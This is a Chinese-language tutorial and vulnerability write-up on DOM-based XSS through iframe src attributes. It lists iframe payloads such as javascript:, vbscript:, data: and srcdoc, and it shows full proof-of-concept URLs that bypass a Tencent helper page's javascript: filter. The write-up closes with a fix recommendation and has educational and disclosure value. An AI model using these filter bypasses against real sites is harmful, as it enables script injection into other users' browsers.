11.Dom Xss進階 [善變iframe]

作者:心傷的瘦子

來自:PKAV技術宅社區

網址:http://www.pkav.net

----------------------------------------------------------------------------------

簡要描述:

有時候,輸出還會出現在 <iframe src="[輸出]"></iframe> 。 iframe 的 src屬性本來應該是一個網址,但是iframe之善變,使得它同樣可以執行javascript,而且可以用不同的姿勢來執行。這一類問題,我將其歸爲[路徑可控]問題。當然上面說到的是普通的反射型XSS。有時候程序員會使用javascript來動態的改變iframe的src屬性,譬如:iframeA.src="[可控的url]"; 同樣會導致XSS問題,來看看本例吧~

詳細說明:

1.先來說說iframe的變化。

1.1 最好懂的,onload執行js

<iframe οnlοad="alert(1)"></iframe>

1.2 src 執行javascript代碼

<iframe src="javascript:alert(1)"></iframe>

1.3 IE下vbscript執行代碼

<iframe src="vbscript:msgbox(1)"></iframe>

1.4 Chrome下data協議執行代碼

<iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome

1.5 上面的變體

<iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

1.6 Chrome下srcdoc屬性

<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

2. 有興趣的,可以一個一個的去測試上面的效果,注意瀏覽器的特異性哦。

3. 接着我們來看看具體的例子。

http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=aaaaaa&gid=yl&cid=68&from=

4. 我們先開調試工具,看看有沒有可見的輸出。

可以看到,我們參數的aaaaaa被帶入到了<iframe src="這裏"></iframe>。

這樣一來,就滿足了我們的使用條件。

我們試試

http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=javascript:alert(1);&gid=yl&cid=68&from=

。。竟然沒反應。我們來看看剛纔的那個地方。

可以看到,src這次沒屬性了,看來騰訊做了什麼過濾。我們繼續搜索下一個toolframe試試。
恩,看來就是這段代碼導致的。

一起看看這段代碼。

function OpenFrame(url) {

	if (url.toLowerCase().indexOf('http://') != '-1' || url.toLowerCase().indexOf('https://') != '-1' || url.toLowerCase().indexOf('javascript:') != '-1') return false;

	document.getElementById("toolframe").src = url;

}

不難看出,騰訊對 javascript:做出了判斷。

document.getElementById("toolframe").src = url;

這句是導致XSS的一句代碼。而openFrame的url參數則來自於(無關代碼省略):

...

var tool_url = getQueryStringValue("turl");

...

openFrame(tool_url);

...

5. 根據我們上面說道的iframe的利用方法,我們不難看出,騰訊的過濾是不完善的。

在IE下,我們可以使用vbscript來執行代碼。 vbscript裏 ' 單引號表示註釋,類似JS裏的//

http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=vbscript:msgbox(1)'&gid=yl&cid=68&from=

在chrome下,我們可以用data協議來執行JS。

http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=data:text/html,<script>alert(1)</script>'&gid=yl&cid=68&from=

6. 就到這裏。

漏洞證明:

見詳細說明

修復方案:

危險的不光是javascript:,

vbscript:, data: 等同樣需要過濾。

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章